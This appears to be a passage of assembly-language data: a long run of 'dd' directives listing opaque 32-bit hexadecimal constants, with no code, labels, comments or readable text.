dd 0E4D7F01Dh, 5FFA09B5h, 312E6190h, 47FDF781h, 0BFB53482h
dd 57D471h, 3810355Ch, 6C186E04h, 1466F82h, 88248C4h, 0DF483260h
dd 2B685B80h, 0CE84F86h, 4D101A94h, 0AF63A6ECh, 58FFEFA1h
dd 50128A03h, 0F328403Dh, 4E542024h, 10249694h, 0BACC2C12h
dd 50C42F68h, 0D425B3E6h, 0E97DF156h, 0E7E9A738h, 0ED838767h
dd 28E43E77h, 9A0275EDh, 8972507Ch, 7737B800h, 806D5E03h
dd 48E8D130h, 709C173h, 0D162DA68h, 5C6E8090h, 0C8096B18h
dd 1B77E913h, 7AD57149h, 0E204A2Ch, 32C9AD9Eh, 0B26810E0h
dd 8B39D19Fh, 5C385A54h, 32004AEAh, 0CA015598h, 0D00D31E9h
dd 0B1E8D3Ah, 535EE540h, 52E45ED2h, 840DCD5Fh, 0E28961E9h
dd 23A6D6CBh, 163C817Ch, 71D0BF08h, 13FF5D20h, 0EF58C601h
dd 9DEC876h, 18124ABAh, 137EC582h, 2438268h, 51287A4Ch
dd 41B0383Ah, 0DCDBA70Ah, 36E984F8h, 0C968030Fh, 0C5B7164Bh
dd 2C60BF0Ah, 4A196038h, 0BA27A435h, 0A1068109h, 0FAA6004Dh
dd 1C29F366h, 2B38AAE9h, 516884A0h, 783DE273h, 6B3E6A31h
dd 0E216E0D7h, 0D68E039Fh, 43142ECFh, 65EA062Ah, 0DF4FAE18h
dd 1955238Ch, 2AB1F3E9h, 0D5847F59h, 73C4188h, 0E9BF1532h
dd 2023ED8Ch, 37BBC683h, 122E3208h, 625B0956h, 891AAE94h
dd 41CB206Fh, 0AD815399h, 4D4191BDh, 0C1732047h, 229ED4Ch
dd 4F1F4EC5h, 22AC40Ah, 0E9575EF1h, 535506EDh, 66226299h
dd 59742E0Ch, 3B01A81Dh, 313C7F17h, 0FCD830DEh, 0E9F4CBD3h
dd 12D76088h, 0AD1FD9B9h, 5C1F685Ah, 7957FE49h, 5EF342B4h
dd 0A517C555h, 36ECF07Ch, 425B12C1h, 46AFA048h, 900CB8B0h
dd 0E55AC06h, 0CD7102C6h, 0F129A243h, 205DCC5Fh, 9098FE23h
dd 0A257A309h, 4AB77815h, 832AB25Ah, 844D1768h, 782FF7BBh
dd 15DEF09h, 9AE71F9h, 572248C1h, 0C82F385Bh, 1C762FA4h
dd 2DF5AF08h, 0E1E5978h, 69CD05D7h, 3D7E24D1h, 27562AC9h
dd 67E92F90h, 55428274h, 3CC31182h, 7FD7145Dh, 4C664830h
dd 815702C9h, 1DE92397h, 0E2ABD054h, 47011D34h, 4A5BC4A5h
dd 87C9AC95h, 765B13D7h, 691F66BEh, 5628B804h, 40BB0390h
dd 175DF768h, 1138E973h, 501B54BAh, 26146816h, 0CD4F48B3h
dd 0EF413E23h, 7EE03D0h, 32A6886Fh, 570138B6h, 0D16461BFh
dd 53B21696h, 1600BED3h, 7797203Ah, 58F20681h, 0C01E00Bh
dd 7830F501h, 0F8DDE94Ah, 1249F23Ah, 35AF5677h, 84DDAB06h
dd 0B9F4F697h, 0EC91505Eh, 9467312h, 0BAB4AFE8h, 3F2EA101h
dd 0F8526655h, 0F62089B7h, 0CA554904h, 849EDEF5h, 0C23085B7h
dd 0D2745B54h, 0DCB35304h, 0CA3E90FFh, 834EE950h, 20FF5B13h
dd 284C3B52h, 0FF012325h, 604B3D99h, 0C082A1C3h, 14579214h
dd 0CAA86852h, 0CB5A421Ch, 49222F87h, 0AB0F65C2h, 58F3A991h
dd 0BD596A09h, 47750256h, 0DDC10EA4h, 0D7FC2C9Ah, 0AEE465FEh
dd 26E9A3DCh, 921FE16Fh, 90921F59h, 80017740h, 0CEFE8BC6h
dd 0EBCD6F6h, 0ED0FCCFh, 55E91A04h, 10A04CADh, 0CA4E3B8Dh
dd 0A70634C0h, 0C4FCF3BFh, 89AFAB05h, 0D5374016h, 687EF602h
dd 648B582Eh, 82867CA5h, 7F361996h, 0ED11C875h, 899050E4h
dd 16F99031h, 24972AE9h, 0F828BA9Bh, 46B327E9h, 0FA9275D9h
dd 0C9529D4Fh, 7B37082h, 3E4DC5BDh, 13EAD536h, 5E8F4BBDh
dd 0EAEEB35Dh, 0F7B67835h, 2CC881FBh, 0FC5966D0h, 13FFEC41h
dd 4BF051E9h, 4A7CCA06h, 12F4DC0Dh, 0F61DA07Eh, 6E2EA409h
dd 2094807Fh, 6B9A9D23h, 0B4387AE9h, 98A2225h, 6330DFDEh
dd 58260B0h, 0D91EFFD4h, 14D5868Dh, 6E2F982Eh, 3030B14Bh
dd 4CF0B75Bh, 182E194Ch, 0CEF181FBh, 2019EB32h, 280496E8h
dd 0F9311E3Fh, 8541A2AEh, 0F50901C1h, 68C59847h, 0F526413Bh
dd 0BD3F64A1h, 4B72AE09h, 0B58F001Bh, 90A032C2h, 0AF495C01h
dd 861E9281h, 0E8D5EC12h, 0C04EABB1h, 144756C2h, 0B79D9021h
dd 4D64FE48h, 432D2E27h, 0C1FF9DDBh, 1477325Ah, 0F9055FF8h
dd 0FB3D6D14h, 28548D1h, 62EB5780h, 1313040h, 86C88B7h
dd 12935817h, 0BE2F4BC1h, 0BC42AF29h, 5F5E0073h, 0E2C3E5D1h
dd 91E77241h, 0C8245545h, 0BD760F7h, 0F2CD815Dh, 57E66912h
dd 92116D00h
dd 5C012009h, 47C41CEFh, 0A00E129Ah, 38F305C5h, 5186C0AEh
dd 77BC0D54h, 8C294902h, 0AE23DDF2h, 32F84DC6h, 62BF0133h
dd 0E90801FEh, 8F2D6957h, 8339B400h, 94C98108h, 1FAD1209h
dd 1D8EF541h, 0B3BEE982h, 99A44F5h, 11386848h, 2D00B446h
dd 51FDF58h, 1EC56E09h, 0E8C80173h, 0A0E92507h, 0D2F71202h
dd 6B8F2740h, 0B4FA897Fh, 5F1A9362h, 7FE3804Ah, 120F8A12h
dd 0FB5AD529h, 6B4F29D8h, 62102FF9h, 5FB3F8EFh, 74545209h
dd 5EBBC0E4h, 684C084Fh, 654010BAh, 0D029627Ah, 8380D0F7h
dd 587C0DA7h, 0BB844150h, 45DE571Dh, 3CD4E181h, 0C81788Bh
dd 22961C8Ch, 47023F49h, 40391E63h, 61612F3Ah, 70E9F838h
dd 99F6664h, 3147D968h, 0A3E1A9B8h, 445CC541h, 1E0FF234h
dd 0B8513D7Ah, 535B4F38h, 0F2168896h, 6D411A13h, 0F117902h
dd 0F54A4080h, 0E03F0719h, 6917E978h, 66EBDF20h, 235B1160h
dd 0F75B3DA6h, 44E91310h, 5F555080h, 0DBB8075Dh, 0D2202C6Dh
dd 5A59BA65h, 825CFEC9h, 7BBB3233h, 654F2F40h, 0F6772B25h
dd 16F76BE5h, 36DF0066h, 0B85029E9h, 9E2DFCE1h, 138F56F7h
dd 0BF68C06Ch, 42FA7B41h, 85654DF4h, 0D81E5D14h, 10E5B50Ch
dd 5F79010Dh, 6005661Dh, 3189ECC5h, 7BCC34Eh, 345EE9F1h
dd 4A5A5A85h, 628FD6C2h, 421054FBh, 310151ABh, 0E02A5EF1h
dd 25BE4E18h, 0E7DF327h, 3ACA7ABCh, 0C1E71C82h, 2EE916C6h
dd 4BF33248h, 0DC25FFAh, 0F268255Dh, 359EC960h, 0E889179Ch
dd 28ED105Ah, 381C2D19h, 14E4F9F8h, 2F9B1804h, 40BA0EE9h
dd 2BA5F7B0h, 89395FD1h, 0CB02F9FBh, 10DC0C7Bh, 87FB804Bh
dd 1238CAF4h, 0FD1279E9h, 5BDA1885h, 0E183AFF5h, 80070005h
dd 0CDFE48C5h, 337061FAh, 53366BE1h, 0FD085FFCh, 885F0484h
dd 0D9A77D32h, 8E4C013Ch, 200D8418h, 434BA4E9h, 387831E2h
dd 0F5620AC4h, 2801E203h, 21702CD8h, 2BCE81Ch, 808CB551h
dd 12548AF5h, 805C691Bh, 0F005EEC0h, 3A2361B9h, 2E5F9768h
dd 2D70DD31h, 8694D939h, 680A1B20h, 0A5096C7Bh, 0E557BE0Bh
dd 0C8112CCCh, 19E503E9h, 0B820626Bh, 145D4C77h, 0C0274A78h
dd 19B5B85Fh, 2D1F51E6h, 0F056FAA3h, 2A21B17h, 42F334CFh
dd 806EB5B6h, 0EA2CE758h, 2D18CF59h, 7C5BFA4h, 2926A24Bh
dd 7CEEC3F9h, 67B53417h, 146DF30Bh, 0B5799583h, 0E1F05264h
dd 64F0BD21h, 15BB2620h, 99D46858h, 1DFD8885h, 59EF03B2h
dd 0DC205166h, 685702ABh, 71372292h, 0DC7F40DFh, 80645F21h
dd 77185E99h, 0CE0539B0h, 7DEF2B2Ah, 0E0EE61C0h, 4AAA0F23h
dd 4A788DE9h, 6613A5B9h, 9E071C07h, 0A95380Fh, 73E92E83h
dd 7C3DF8BCh, 1DE3B521h, 967A123Fh, 2CA8E239h, 58B209E4h
dd 0E1177BC8h, 4E508282h, 2B2DC046h, 1A450465h, 955FFE29h
dd 42E01C5Dh, 0F331AA17h, 5728842h, 0B05A4CB0h, 4CCACF41h
dd 32826B2Ch, 180E4432h, 286635Fh, 161FE523h, 19C03E27h
dd 0C72D7D97h, 9058D861h, 38C209C4h, 25625B67h, 3EB4EA80h
dd 30C04586h, 78175C49h, 5371BD21h, 959D870Ah, 4375FB82h
dd 0C1405574h, 702E122Dh, 0D809465Bh, 18848455h, 1EC3530Ah
dd 119089BBh, 0A7B10257h, 0BD5D22Fh, 9BE01F5Fh, 97778477h
dd 0D1BB9FD0h, 13EC325Dh, 800198F2h, 0B07FEACBh, 0E3EDFE0Fh
dd 0C3D97FABh, 0B6873BAEh, 13B76E19h, 600D6268h, 0A14D0CE7h
dd 25E1265Ch, 276D5B14h, 0B8F2B4FEh, 4008E9C2h, 63EEB9A9h
dd 0F02EDD2Dh, 0B0D7E63Fh, 1EB20016h, 0D5257C9Bh, 5D48D926h
dd 46B77F4Eh, 0D3A3E3h, 51561B16h, 8C19E94Dh, 398020DEh
dd 317C0353h, 494CF8DDh, 0FC5E7791h, 27A4A200h, 0A8426256h
dd 8F685300h, 58D11777h, 60CDF15Bh, 24184C15h, 0CAA21AE7h
dd 3A792D3Fh, 112C357Eh, 86402100h, 4B63E964h, 2395447Eh
dd 2CFFAAFh, 0EB2E524Ah, 560A4920h, 5FB89A53h, 29862957h
dd 44AA9270h, 166B55FFh, 81C3138Ch, 0B70161Ch, 0F7918268h
dd 0F1CCC90Eh, 0E302C697h, 5B178715h, 9802CB46h, 0C14E04E6h
dd 7305B61Eh, 81EFDB35h, 7E3B540Dh, 0DA0BFFC1h, 4EB7B76Ah
dd 0E912ABB6h, 3EA9B591h, 0D6BE4DEh, 0B421F104h, 0E3E04C49h
dd 0D1F76D0Fh, 72ECC449h, 0EC109DFEh, 0DAA8624Eh, 512648BBh
dd 0C3002E5Fh, 12976925h, 0BA58B74Bh, 5BF198A0h, 2D0342Dh
dd 157792h, 981D89BAh, 0D5011C74h, 0C581455Ah, 62ECF00Ch
dd 4497B057h, 5BF6C305h, 0DF7C9025h, 6152E211h, 59CC520Ah
dd 1038C6D6h, 2D7B37F9h, 32C0780Fh, 6D0662FBh, 0B47E91Ah
dd 12BE7330h, 0BC05600Eh, 0EBC10997h, 1CCA5E03h, 0E0CB564Ch
dd 0C72FE928h, 0C20853CEh, 0D155EC48h, 927C27FAh, 1F508759h
dd 0BA6C15E9h, 0A3B60B4Ah, 0A702F388h, 0C45D2A58h, 6F77A0B2h
dd 14D50A7Dh, 1B5D8F7h, 2BA71FF5h, 0F3F9E201h, 60E43542h
dd 0C0487F0Ah, 8366E2Eh, 0F726432Dh, 0A51C6ADBh, 15411C4h
dd 1313DA04h, 0C8EB7423h, 760B2A7Fh, 1BBA229h, 0F330E908h
dd 0EED87F24h, 0FC3859A0h, 0FD79BE27h, 7684B881h, 0F7F410C0h
dd 6F619677h, 48BE86A2h, 0CB88887Dh, 0A2667001h, 0C2DA0145h
dd 5808044Ch, 496E1EBBh, 59C8E637h, 0A3124E4h, 884D182Ch
dd 497DB800h, 0D421801h, 34D1209Ch, 52809644h, 12F2C22Dh
dd 0B6094792h, 4813E52h, 4FB591EEh, 0F2AA3E84h, 2DEA83D9h
dd 421F303h, 0A847D60Ch, 1FE1EB11h, 800C0806h, 0B0515D14h
dd 2B9509ECh, 165D466Fh, 92C706F1h, 0C791017h, 0ADBD8305h
dd 48C18999h, 31019FB8h, 0E42C6FF7h, 0AE3658Dh, 0F182F85Ch
dd 3A38A3E9h, 86AED84Bh, 0F98B69Ah, 9190F0B5h, 9B5E498Dh
dd 0EE305FC9h, 8091B56Dh, 89BE5C4Bh, 7256772Ah, 6638E95Bh
dd 51D6B988h, 0FE2DAD00h, 0EA76B402h, 4A4C3158h, 6F32A19Eh
dd 0BA2CF198h, 531E403Dh, 50D5558h, 6B3C6E63h, 91392BC8h
dd 0DC6861CCh, 0C1463C28h, 7898714Bh, 10FFC36Ah, 0E6B068DBh
dd 0CA2F6705h, 1E857427h, 0EC89E83Ah, 7658012Fh, 0F7EE8714h
dd 560893D5h, 6919E952h, 50805E0Bh, 739C217Ah, 0ED316852h
dd 4D1BF123h, 80BDF32Fh, 0C140C568h, 3C479336h, 6E812h
dd 83DD6D8h, 0E637E96Fh, 0BFEE3825h, 72B1BEAEh, 0FEC4FBBAh
dd 0A5AD32E9h, 0A9DD5F22h, 4E08166Bh, 6179EB56h, 82EC3454h
dd 69CC68F0h, 9002EF93h, 42297764h, 74B840B2h, 0D6882D9Bh
dd 1027056h, 0F0BBE9C6h, 264060EEh, 61459535h, 820E7169h
dd 0BB5FEF7h, 40020EE1h, 9C44373Bh, 7868181Ch, 0CB59A561h
dd 0F153B660h, 86B80271h, 1B7F00Fh, 0F3C62B68h, 5F331D13h
dd 0A2EED6E0h, 2E2AC308h, 5F50A2h, 394673B7h, 56009EB8h
dd 0E83137D7h, 0BBF89BE9h, 0BC511616h, 12503FE0h, 0E6F44F89h
dd 47ABAC4h, 0A84DB9BAh, 4206C753h, 525CA966h, 0DC0A6202h
dd 41DD03Bh, 0B7B46EADh, 0ED2CEB89h, 0B536B021h, 3B3F5951h
dd 5E71AD8Fh, 5CB383D6h, 0E64C3119h, 89977A8Dh, 0C947F678h
dd 49CEC675h, 0E908440Bh, 792C75A2h, 91FDDA3Bh, 1EC1EF92h
dd 0FD6935A8h, 2639D005h, 8ED00940h, 9717145Dh, 30D5B742h
dd 0D2C8A97Dh, 0E036B81Ch, 95FF54E9h, 2806DA6Eh, 348368D8h
dd 0F53220A9h, 65125A4Ah, 0E9F0E9F8h, 0B9B1EB7Ch, 1144519Eh
dd 7DD0109h, 1231807Bh, 0DAA041EDh, 0EC967818h, 0A5BF5740h
dd 809E500Ch, 13720EEh, 7A59CF0Ah, 0EF01C54Ch, 6C5C42E5h
dd 12BBF7F0h, 0B0B15377h
dd 67EA05D9h, 2221E5Ch, 7EA1FA4h, 13CC229h, 73906807h
dd 0FE055C26h, 10BDD3Ch, 6D1B4F91h, 2C0C817Eh, 0E979905Dh
dd 888F08F5h, 0F654E889h, 77059910h, 0F6709F90h, 0FC71229Fh
dd 62D87476h, 0B074CCABh, 7184FFC9h, 18FFE873h, 9C44E829h
dd 881ECB90h, 0C5FEBC80h, 163AB050h, 0D326FF30h, 405205A1h
dd 27308F4Fh, 82863C7Eh, 29130F8Ah, 0DE345BDEh, 0EE685DF4h
dd 0EED7A81Bh, 0D10AC5C1h, 72CA07E3h, 807F595Fh, 0B80E1453h
dd 56500210h, 80271268h, 0CE002EDCh, 2A307091h, 0AEE54EE9h
dd 0DB3A9F46h, 0AC53FA1h, 0EE95CA6h, 0DE226FEDh, 16405A51h
dd 0D5A049B6h, 0BD2B235h, 45E6C9BAh, 94648785h, 0CB19B43Bh
dd 0FCB9F45Eh, 0F51341D4h, 0D835E16Fh, 1424549Bh, 6125C109h
dd 0FC2B585Ah, 1982F3Fh, 0C0D8F6C4h, 13CAF06Bh, 53C950EBh
dd 6B03F85Dh, 0D23C3E2Dh, 58FBFA69h, 60559090h, 6A72C458h
dd 62FC01F8h, 525CB8BAh, 4160012Ah, 4F5F599Eh, 91396CF8h
dd 0A7E325B6h, 7017E3E9h, 7C0F8DD9h, 32C1789Fh, 6E6A6880h
dd 0F41A4AFDh, 0D23FF35Fh, 52670E14h, 0DBADBCE9h, 48103DBEh
dd 69BC5AFEh, 2118C902h, 0FA007234h, 17F3B5FDh, 0B859CE01h
dd 76D2E4D1h, 0E9DAA18Ch, 84C35578h, 4F6ADBFAh, 83C35FB2h
dd 799102E9h, 1CDD6BBFh, 136DA62Ah, 13206E95h, 0E0934BDFh
dd 6AE1605h, 3AA80667h, 0F7047332h, 41B8A63Eh, 0E0FF13BBh
dd 0B93AC38Bh, 0E268AE3Bh, 9C0FF881h, 0E7F95F05h, 10AA5CD8h
dd 5D7F774h, 578F2379h, 7143DCC6h, 887DB259h, 2D55E4F7h
dd 8A7C60F4h, 5D459F82h, 3F7F70CBh, 39132405h, 718504Fh
dd 0E4B40C4Ch, 0A5AAF62h, 0EF4B58B7h, 7CFA8461h, 0DADEA63Bh
dd 5E65D72Bh, 0E70BF22Ch, 0B9E776E5h, 84881D4Fh, 0ED1BF5BDh
dd 0D0628424h, 0C51EA013h, 43624B98h, 5C870B80h, 0C06850BEh
dd 6EB3765Bh, 8098D25h, 2C8FCDD5h, 0A675A4Ch, 51DCE905h
dd 5F5B7A49h, 34D57409h, 0C0204B4Fh, 0D0215FDCh, 0B5B2CC95h
dd 1A250E68h, 9F824D3h, 6D27E9B8h, 31C3C62Ah, 80402718h
dd 97270C2h, 0D0DD4569h, 1EBC34ECh, 618AEF20h, 0B7515A13h
dd 621C8955h, 0C0B6F712h, 4CEA3020h, 0F71E5259h, 151E9BDDh
dd 97A782CCh, 9D0BCB7Ah, 0DE644639h, 25E94272h, 5D4A9EF0h
dd 0FC93E7F9h, 20A9D436h, 0A061C9D6h, 0A9B819A1h, 2D9E6027h
dd 8CCCE109h, 939AD5E8h, 54B3C361h, 0A07990C2h, 40BD1277h
dd 0FAD14555h, 0F16AD3A2h, 0F3828395h, 2DE07h, 0F6CF472Eh
dd 139F2DBBh, 6A55AB2Ch, 5A070514h, 51075DA8h, 3431B6B9h
dd 423A84Eh, 85E0919h, 2F4413A1h, 63EF3DABh, 9680973h
dd 88E9F123h, 7C25FAFFh, 0CA6A6B8h, 6A2FF14Fh, 0CD3C6344h
dd 0C088E74Ch, 3D0A3B6Ch, 0E7D1F749h, 0BDF113B4h, 0A464B93Eh
dd 7527C2BAh, 660909F6h, 0F39E8FFh, 84182E4h, 51302E3Ch
dd 13FE6850h, 2C274272h, 9A003502h, 2D41BD16h, 16B63463h
dd 0A01FE962h, 22B9584Fh, 3FC445A5h, 2177DE31h, 0ECDADCCBh
dd 81A52C99h, 1570684Ah, 0C7E0316Bh, 2D4B7D82h, 0B0A4DA8Fh
dd 6061FC3Ch, 9ABE1C7Fh, 2D01A326h, 3B6AF681h, 2C78377Dh
dd 29A8CE04h, 0B505EA10h, 8D58AED2h, 1C16EE1Ch, 655A3C08h
dd 0AC280DEh, 0F8E7F769h, 55299020h, 0BF83D51Bh, 0E9C73B28h
dd 0C3FAEFD1h, 0A06A0A9h, 6F89486Ah, 0F44E713Eh, 44022B54h
dd 88684DF1h, 12CB4849h, 0EF51CE6Fh, 0CE2BF84Fh, 55AD79A3h
dd 9A36B812h, 5F80E72Ch, 813A7535h, 7201344Ah, 72277844h
dd 49567CE3h, 98224E84h, 6709E517h, 770902A3h, 0C9B76DC6h
dd 76E52E9h, 99D15DE0h, 24EB8700h, 4F984D28h, 0B5FB7D20h
dd 3E593CE1h, 34AE0216h, 67AAC0B7h, 7D5B0A32h, 3D7136E8h
dd 17F24D1Bh, 0A47A91E9h, 4E408E88h, 40F76853h, 1F1909FAh
dd 2F449022h, 1E8B402Bh, 6A4C0951h, 8F294159h, 0F7E90587h
dd 715B99EEh, 700DF600h, 5E096D7Bh, 8DECBF1h, 2775CDE9h
dd 0E27DB2A2h, 1CDF574Ah, 0E9400B03h, 43C9AAF0h, 5900DE08h
dd 3A3D7F05h, 8E853B81h, 0FE778AC6h, 394BB0C0h, 92F3EA70h
dd 0BDD2F244h, 0CB689998h, 0EBF3BFh, 0C0DCF68Bh, 0F89703E4h
dd 0C2E90A2Ch, 50FC010Bh, 0A097A0E3h, 0A4799D18h, 2CCF9631h
dd 0A1183AC4h, 4AC2020h, 0BE2D327Ch, 63157E4Eh, 104C81B7h
dd 0DBBBB57Fh, 86525B2Ah, 693F7708h, 0D4383CF8h, 29EB4AB2h
dd 85D5F83Ch, 288182A8h, 0B551E801h, 0D8E580BFh, 0BC04B13Bh
dd 2EF1191Eh, 0CAC00506h, 8148B759h, 0D30B8857h, 0B07654E9h
dd 0BD1A9076h, 0BC38D125h, 4784849Fh, 21902590h, 10A5EFBh
dd 5C56916Fh, 0E45FCD27h, 0F64E99E9h, 97E11348h, 72CF08E5h
dd 3326BA00h, 60520131h, 13577481h, 50CA2B98h, 0D22507F6h
dd 9D332B9h, 37EA7651h, 9FE19E75h, 0E3A8DC1Ch, 7F938587h
dd 0E81F0C34h, 29DD9A49h, 5A627CC1h, 354DF2A0h, 61E968AFh
dd 2F46D4FDh, 7C2545Ch, 6EDC145h, 6D3FCDC0h, 24506E65h
dd 0AE921022h, 8F08AC76h, 200F1DA3h, 92D2298h, 89685BB9h
dd 2E99EDCCh, 28E1E554h, 6087276Ah, 95F77EFBh, 0FB2AD7F2h
dd 0B12AC966h, 0A7A06F31h, 0BE80EB21h, 452C1EE0h, 269D8B66h
dd 0D70009F8h, 3A7BBA52h, 71815461h, 0AB3B03F2h, 42D2F70Ah
dd 0BA160660h, 0BF6D455Fh, 0E905EE42h, 0E847D236h, 277350E8h
dd 0B167413Ch, 10B2A0EBh, 58372723h, 134CD48Ch, 3A0002BCh
dd 0BF3C5C04h, 95071E8Dh, 2E93E930h, 72C57F09h, 688BEA1Dh
dd 0BC865861h, 87CE2B4h, 7E6C101h, 7D7F9530h, 31392517h
dd 4461EA8Eh, 0D8D0EEE4h, 7A0702EFh, 0F70151EDh, 802C7E5h
dd 464B67E9h, 584D95BFh, 2F824912h, 8160E55Dh, 0EA6ED5B8h
dd 5BF36A70h, 0F06BA92h, 810ECAC6h, 142E59EFh, 0E75B57FFh
dd 0DC4A7FBEh, 0A95B14B8h, 7EF8E413h, 8DFC4C04h, 5FFAC60h
dd 1646CA05h, 0A22D55F0h, 0DE096007h, 415C81E8h, 0C40FAF81h
dd 0FB5801EEh, 622F2660h, 5B6FA940h, 4CFD9036h, 0F384D942h
dd 60CD17C3h, 455BB9A0h, 0EDF23F81h, 2EA7ED4Fh, 0A6E0B49Dh
dd 48657D5Bh, 0FB079F45h, 6764E342h, 0FFAF6FF5h, 0A9D95EB0h
dd 0FBE0C62Eh, 4F4161B0h, 8C24AC3Fh, 4ABD8141h, 0AF9E3502h
dd 0F32F782Dh, 392534A5h, 0B02CE2D9h, 721465D4h, 280ED812h
dd 4CC968C3h, 9588D179h, 2B8A3E19h, 0C9EE578h, 3D15FE5Ch
dd 48ED2116h, 0B775D4B2h, 7247B609h, 0E11908A4h, 5870C3C3h
dd 2D508186h, 0E2A725A8h, 0A639DF43h, 0C5AD3F1Ch, 0FC1FFE93h
dd 6687254Ch, 4A7A02C2h, 0ECE97511h, 0E650DAF2h, 21721B6h
dd 58406013h, 0B0726CE9h, 953DE2Ah, 815B4874h, 8EA1ACB4h
dd 0D4A1A32Dh, 4B117339h, 49152AADh, 6185A304h, 0E462BADEh
dd 0EDDFEA94h, 0EA03BFD6h, 74F01EBAh, 4254DE06h, 9180FE2h
dd 62F49CBh, 8831F52h, 0F2141C45h, 1AE92081h, 73CD4816h
dd 64D67E1Eh, 17437BCDh, 6E130C80h, 0C889500Eh, 5902C1B7h
dd 0E9B7287Bh, 3BDB6B55h, 0DC843FC2h, 93512DC4h, 3EBA5569h
dd 0A5B51C4Ch, 5BF90D77h, 965DF85Bh, 4572EABh, 1346AE9h
dd 0CB904BBDh, 0DB71D327h, 0E26DDC43h, 7281896Bh, 0EFC12840h
dd 3E3CE69Bh, 1AD2F546h, 3B6D015Eh, 7C4EA472h, 2D0741D1h
dd 2BCC106Eh, 2ED0E7Eh, 89490484h, 4AACF08h, 84171F52h
dd 7D5A1FBh, 9207D408h, 0C34159BCh, 0B4036A55h, 73EA0958h
dd 0F2FD023Ch, 0D0218FBCh
dd 9F951657h, 102414D6h, 0F8405016h, 956B3B05h, 0FF08BD51h
dd 532607h, 1DC33F75h, 0CB1E8143h, 4CC431B9h, 0D5ACEBC1h
dd 682ABA04h, 5BB0C296h, 0F344B6F6h, 0F2304F8Dh, 6A5B81A9h
dd 79FDEF70h, 0E97F1F5Ch, 0B2011226h, 89FA2D22h, 630DD184h
dd 0D69A5EF2h, 5FF8B277h, 189E965h, 499677F0h, 0A056E910h
dd 96775C25h, 0F1490D8h, 72441790h, 4BA3E280h, 63B70BF6h
dd 0F7CAC84Fh, 4D2D027Bh, 524CE950h, 57FE4372h, 1BBF6609h
dd 15C0DF38h, 0D7810E0Fh, 81FC5AF5h, 0DCD31CFh, 0FD2F840Bh
dd 0F70E8C4Fh, 67F82D5Eh, 0E1C8085Fh, 161B02Dh, 216E0F2Bh
dd 8963F712h, 701687D1h, 1A202F86h, 151CAE73h, 39CFD925h
dd 21313F8Bh, 6702C778h, 0D147D858h, 4BC4EEAh, 39B7410h
dd 0ACEB8531h, 8F2F5166h, 4B685E4Ch, 0E3FB304Ah, 9BC97A1Bh
dd 7CBB07BFh, 0AFD25E03h, 2E39800h, 94B0E94Bh, 46702FAFh
dd 44081F03h, 4F1BBA31h, 447EFC0Bh, 7C5968F2h, 17B84A29h
dd 0F5CCEAE5h, 0B7C926E9h, 1D1832Dh, 0E6003AB1h, 31633F36h
dd 140FBF57h, 0B61C3767h, 0A60ADB07h, 8D8D908h, 0B080EB20h
dd 5F8DEEE4h, 5B92D1E0h, 3CEE6DE2h, 45BA927Dh, 17AC208h
dd 39B326B4h, 0C6B03B30h, 959A4F88h, 5F2920B1h, 0F49DFE01h
dd 2F55248h, 0AEB52F61h, 0F84DC4AEh, 3E10FAF3h, 39C44BA7h
dd 0E9C394ADh, 0A9841B7Fh, 0E60BDFC5h, 0EA2326FCh, 0F704A10h
dd 37A0531h, 99CECF85h, 0B35F689Fh, 0CFFAB5EFh, 3DEF4B94h
dd 0CA76147Ah, 0A2285A08h, 0F8EB4E28h, 1114E5BEh, 4BF10E7Dh
dd 3C066181h, 0C9D82303h, 0A04617C8h, 82FE0011h, 29DE658Ch
dd 0CA01F14Bh, 7FCF52F2h, 0B495A02Fh, 6805BD96h, 0FA33D5Ah
dd 0A2EA4517h, 0D9522F1Ah, 0CF5A1F1Dh, 0C8B31C67h, 7649FD4h
dd 0DCAE2938h, 0E441FCC9h, 262ABC2Ah, 0B980623Bh, 1B7D05FEh
dd 75F0F787h, 0C652DD2Ah, 8D1F7CDh, 59182BB1h, 64478F8Dh
dd 0B8628A40h, 5E7EC5DEh, 5ABB5E40h, 9535205Fh, 1B895BE5h
dd 7A4DF648h, 24A72076h, 55F81EF0h, 0C8689509h, 15C2AF54h
dd 8437673h, 0D225BE46h, 0CED20AFh, 5015A0BDh, 8459BC4Ah
dd 0C91D2F9h, 0FBB22B5Dh, 0FAA5E9C4h, 31BBB700h, 260232Ah
dd 3985E381h, 0ADF01EBh, 1F01DE4Dh, 973216Ch, 4F85B82Eh
dd 0F3A0C5E2h, 65026C3Bh, 5B5E5377h, 7597701h, 0C80E8562h
dd 0B6B68AFh, 5F228649h, 4705F700h, 40B5C783h, 2DAE0E7Bh
dd 475099E8h, 0C0098398h, 5F190F41h, 40893A8h, 0BDBC25E9h
dd 50091633h, 8AF96034h, 68A98097h, 9DB16E26h, 0A0026BA8h
dd 0C132CF3Ah, 0F6A880EEh, 3F8FDA35h, 0CB2AE94Eh, 26779E17h
dd 0A707BB63h, 7C55D63Bh, 260D971Ch, 0A05B3157h, 0BA5D0700h
dd 1D0212F5h, 0C7C701CEh, 2A6A0653h, 84086BCh, 7F8A15Bh
dd 0B6057E60h, 943C024Eh, 11090F45h, 37340CBEh, 18D672F7h
dd 38BD55DEh, 109E2239h, 67C885B9h, 0E9F64F73h, 4E1B810h
dd 0C25E92BDh, 8990DB85h, 272617C1h, 3DE00D48h, 88806B6Ah
dd 3E5873C7h, 0E6CA877Ch, 0E50F68DBh, 46057109h, 0AE1D3044h
dd 0F544DB69h, 9FBE2A02h, 60542EC0h, 0F18C51Ah, 0EE01793Dh
dd 0BD08A81Ch, 52D6ED68h, 5FFD51C1h, 0A36BEE31h, 0DDE9128Fh
dd 0EC80EE47h, 52B205DFh, 49DE2FFCh, 0CBDCC4DAh, 223AC381h
dd 53F0138Ah, 9AC895A8h, 491962F2h, 0CF184BC6h, 2FEEAC05h
dd 6961F95Eh, 5DC3EADDh, 304CBD63h, 96417E50h, 0BBF5A400h
dd 96EA62F9h, 98F7F010h, 9FFEAC21h, 6F30DDC7h, 0B617A4E9h
dd 95F2656Ch, 83490057h, 1414936h, 0C827F57Dh, 9E5E4614h
dd 0B618C2D8h, 0E3AA8309h, 0CD451C15h, 6B7D0A3Fh, 171C1890h
dd 6E0B18EFh, 22893B0Ah, 31E7CD0h, 0E5BAF021h, 7F209C5Ch
dd 0F5DC5F2h, 17BF1283h, 1B1788A3h, 0F329AFF5h, 1DE480F0h
dd 93C4FEB5h, 0ACA48551h, 506655Bh, 52153980h, 0D7034E76h
dd 0BF58D530h, 0F35E288Bh, 0A9982A77h, 842C5276h, 0FFCBCF4Dh
dd 0CE989223h, 0F9A93150h, 5E310516h, 53481B0h, 26E929ABh
